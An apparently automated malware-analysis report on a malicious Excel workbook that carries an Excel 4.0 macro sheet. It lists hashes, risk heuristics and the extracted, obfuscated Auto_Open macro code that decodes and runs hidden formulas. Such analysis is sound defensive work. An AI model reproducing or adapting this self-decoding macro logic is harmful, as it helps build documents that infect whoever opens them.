Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9df9cd7f4bf0d2fb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:18 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: bf84cf58dcc95ea98b3ff1a5983c0dbf SHA-1: 0005b26a3e6b9ddf7390a4cbced8c3d1a3eb01e5 SHA-256: 9df9cd7f4bf0d2fbf9a2d2d64d752277f5af712afaed106f470f04456903ced4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6389 bytes
SHA-256: 4f1b168354fceda5b48907e16a4fe97a216a0f3880635e0fb3d968aba165d1b2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CTj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E138 
' 0018     22 LABEL : Cell Value, String Constant - bqoLgvL len=0 
' 0018     25 LABEL : Cell Value, String Constant - cTFNFxJLzt len=0 
' 0018     22 LABEL : Cell Value, String Constant - eukIFaR len=0 
' 0018     24 LABEL : Cell Value, String Constant - grugVrwKo len=0 
' 0018     26 LABEL : Cell Value, String Constant - haGajwBGWTd len=0 
' 0018     25 LABEL : Cell Value, String Constant - hoHnoMYsIA len=0 
' 0018     27 LABEL : Cell Value, String Constant - IREfMxekjuzM len=0 
' 0018     22 LABEL : Cell Value, String Constant - IUVLSKm len=0 
' 0018     22 LABEL : Cell Value, String Constant - LHRCpPc len=0 
' 0018     24 LABEL : Cell Value, String Constant - mRWvIbfbn len=0 
' 0018     24 LABEL : Cell Value, String Constant - MYzCmyDWp len=0 
' 0018     20 LABEL : Cell Value, String Constant - ndapS len=0 
' 0018     25 LABEL : Cell Value, String Constant - nkVWFPSzeC len=0 
' 0018     24 LABEL : Cell Value, String Constant - OPPqJQAKc len=0 
' 0018     25 LABEL : Cell Value, String Constant - pYhBqiXots len=0 
' 0018     24 LABEL : Cell Value, String Constant - ruwSwiLAM len=0 
' 0018     26 LABEL : Cell Value, String Constant - TEFkuDaLADA len=0 
' 0018     22 LABEL : Cell Value, String Constant - VngSpCu len=0 
' 0018     25 LABEL : Cell Value, String Constant - ybsssYAoqZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - ysfxu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CTj,E45,"SET.NAME("nkVWFPSzeC",VALUE("0"))",""
'  CTj,E49,"SET.NAME("pYhBqiXots",nkVWFPSzeC)",""
'  CTj,E51,"SET.NAME("OPPqJQAKc",nkVWFPSzeC)",""
'  CTj,E54,"SET.NAME("ndapS",COUNTA(ruwSwiLAM))",""
'  CTj,E57,"SET.NAME("bqoLgvL",COUNTA(TEFkuDaLADA))",""
'  CTj,E60,[],""
'  CTj,E64,"SET.NAME("VngSpCu","")",""
'  CTj,E69,"pYhBqiXots",""
'  CTj,E73,"SET.NAME("IREfMxekjuzM",HLOOKUP("*",ruwSwiLAM,pYhBqiXots,FALSE))",""
'  CTj,E78,"hoHnoMYsIA",""
'  CTj,E83,"SET.NAME("haGajwBGWTd",nkVWFPSzeC)",""
'  CTj,E88,[],""
'  CTj,E91,"haGajwBGWTd",""
'  CTj,E95,"ysfxu",""
'  CTj,E98,"LHRCpPc",""
'  CTj,E102,"mRWvIbfbn",""
'  CTj,E106,"SET.NAME("eukIFaR",VALUE(HLOOKUP("*",TEFkuDaLADA,mRWvIbfbn,FALSE)))",""
'  CTj,E109,"grugVrwKo",""
'  CTj,E112,"VngSpCu",""
'  CTj,E114,"OPPqJQAKc",""
'  CTj,E116,NEXT(),""
'  CTj,E121,"MYzCmyDWp",""
'  CTj,E124,"SET.NAME("f",INT(T(FORMULA(T(VngSpCu)&"",""&T(MYzCmyDWp)))))",""
'  CTj,E127,"cTFNFxJLzt",""
'  CTj,E130,NEXT(),""
'  CTj,E135,RETURN(),""
'  CTj,E163,"SET.NAME("IUVLSKm",E45)",""
'  CTj,E165,"ruwSwiLAM",""
'  CTj,E170,"SET.NAME("TEFkuDaLADA",R65C15)",""
'  CTj,E172,"SET.NAME("cTFNFxJLzt",180)",""
'  CTj,E174,"SET.NAME("ybsssYAoqZ",5)",""
'  CTj,E179,IUVLSKm(),""
'  CTj,E180,HALT(),""